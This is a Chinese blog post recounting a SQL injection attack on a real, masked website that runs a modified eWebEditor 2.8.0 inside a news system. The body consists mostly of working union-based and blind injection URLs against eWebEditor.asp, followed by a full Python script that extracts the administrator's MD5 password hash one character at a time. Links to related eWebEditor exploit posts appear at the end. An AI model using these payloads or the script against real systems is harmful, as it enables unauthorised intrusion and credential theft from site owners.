某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )

原创 2018年04月15日 07:03:50

某网站后台是用的   蓝滨新闻系统精简加强版 即如图:


可见,后台是JSP + Access,虽然这个新闻系统标题写了是安全性加强版本,但是对于这种系统我还是很感兴趣的。

根据这个系统的源代码,找这个系统的漏洞。

manage/htmledit/eWebEditor.asp

	sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'"
	oRs.Open sSql, oConn, 0, 

可以看到,这里有注入。这里用的是臭名昭著的 eWebEditor 2.8.0 最终版

如果是纯粹的eWebEditor ,那么到这里 直接上工具就行了。但是这里是魔改过的,所以,传统的注入不可以。所以需要魔改SQL语句。因为数据库是Access,破解就好麻烦啦。。

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard%27%20union%20select%20sys_UserPass,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System''

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' and ((select top 1 asc(mid(sys_UserPass,1,1)) from eWebEditor_System)>97)  union select (14),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union 
select * from eWebEditor_System where ((select top 1 asc(mid(sys_UserPass,1,1)) from eWebEditor_System)>97)



## 猜解出密码和用户名长度:16 根据程序可见,是纯MD5加密
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select (select (14) from eWebEditor_System where ((select top 1 len(sys_UserName) from eWebEditor_System) = 16)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System
true ;

## 成功实现ASC II 表的字符匹配 ,如果报错则是不匹配
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select (select (14) from eWebEditor_System where ((select top 1 asc(sys_UserPass,1,1)) from eWebEditor_System)<97)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserPass,1,1))%20from%20eWebEditor_System)<66)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?" \
              "id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserName,"+str(charNum) +",1))%20from%20eWebEditor_System)<" + str(
            n) + ")),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System

到这里,就成功可以解出系统的用户名以及密码了。但是这里是用的ASC II 表匹配。一个一个试不现实。

写个针对性Python进行注入穷举:

kn.py

#encoding:UTF-8
import requests
##定义 n:找ASCII码
n = 48
charNum = 1
allAscII = ""
while charNum<=16:
    while 1:
        url = "http://xxxxxxx/news/news/manage/htmledit/eWebEditor.asp?" \
              "id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserPass,"+str(charNum) +",1))%20from%20eWebEditor_System)=" + str(
            n) + ")),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System"
        r = requests.get(url)
        print("访问成功,正在访问第"+ str(charNum)+"个位置的码,尝试的ASC II 码为:" + str(n) + "获取到的长度为" + str(len(r.text)))
        if len(r.text) > 400:
            print("成功获取到第"+ str(charNum)+"个位置 的 ASC II 码!为" + str(n))
            allAscII = allAscII + str(n) + ","
            break;
        n = n + 1
    charNum = charNum + 1
    n = 48
print(allAscII)
## 失败 长度少于400 (=317)
## 成功 长度大于400  (=12370)
## print(len(r.text))

运行:



获取了十六位的ASC II 码后,就可以根据这个表


进行转换,然后得到密码md5值


版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/Knove/article/details/79946318

利用ewebeditor漏洞来攻击网站

原文:http://blog.163.com/chx_silk/blog/static/74422518200992214752475/ 大家好,今天给大家演示以下利用ewebeditor的程序...
  • eldn__
  • eldn__
  • 2013-06-06 11:21:18
  • 1765

ewebeditor漏洞大全

1:默认管理后台: http://www.backlion.com/ewebeditor/admin_login.asp 后台如果能进入: 可点击样式管理: standard 拷贝一...
  • xysoul
  • xysoul
  • 2015-03-23 13:47:39
  • 2469

一次通过漏洞挖掘成功渗透某网站的过程

寻找突破口 对方主站是一个定制开发的CMS,在进行一系列扫描和分析之后,未发现可利用的地方,于是开始分析其二级域名,发现其中某资源管理分站,目标操作系统linux,仅开放HTTP(80端口),整站程...
  • Liuhuaijin
  • Liuhuaijin
  • 2017-09-27 09:12:47
  • 1211

渗透测试实例

一、msf> use exploit/windows/dcerpc/ms03_026_dcom。看到命令提示符的改变表明该命令已经运行成功。 二、为漏洞利用代码设置必要的参数,show option...
  • freemindh
  • freemindh
  • 2015-10-22 16:28:06
  • 1010

不登陆后台也可以拿到shell,ewebeditor漏洞要小心

在数据库没被删掉的情况下。(默认:/db/ewebeditor.mdb)如果没删掉的话,把数据库给Down下来。然后打开,查看Style这里,看看“前人”有没有留下痕迹 看看表格内有没有上传过asp ...
  • lbuskeep
  • lbuskeep
  • 2011-02-13 19:21:00
  • 9507

漏洞及渗透练习平台:

漏洞及渗透练习平台:ZVulDrill https://github.com/710leo/ZVulDrillSecGen Ruby编写的一款工具,生成含漏洞的虚拟机...
  • flovesky
  • flovesky
  • 2017-10-11 18:47:07
  • 681

aspx web入侵渗透经验总结

对一般遇到.net的网站时      1、通常会注册个用户    第一选择利用上传判断的漏洞 加图片头GIF89A 顺利饶过    2、    第二种就是注入了, 在?id=xx后加单引号 '...
  • ccx_john
  • ccx_john
  • 2013-12-26 19:28:10
  • 2565

选个“靶子”练练手:15个漏洞测试网站带你飞

俗话说进攻是最好的防御,而这与信息安全世界并没有什么不同。通过这15个故意存漏洞网站来提升你的黑客技能,你会成为最好的防守者——无论你是一名开发人员、安全管理者、审计师或者测试人员。请牢记:熟能生巧!...
  • bfboys
  • bfboys
  • 2016-09-16 19:07:26
  • 431

使用Access数据库站点的渗透思路

1、网站使用整套的开源代码,没有更改数据库的路径 就会产生默认数据库下载。   方法:怎样判断一个网站使用的开源版本:版权声明 源码中注释信息   防御:修改默认数据库的文件名和路径名 可以更改为特殊...
  • asli33
  • asli33
  • 2011-06-04 11:34:00
  • 546

如何检查并堵住网站的eWebEditor漏洞

一、判断网站是否使用了eWebEditor的简单方法:查看程序源代码,看看源码中是否存在类似“ewebeditor.asp?id=”语句,只要有此语句的存在,就能判断网站确实使用了WEB编辑器。  二...
  • zhangyj_315
  • zhangyj_315
  • 2008-03-23 17:49:00
  • 445
收藏助手
不良信息举报
您举报文章:某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )
举报原因:
原因补充:

(最多只允许输入30个字)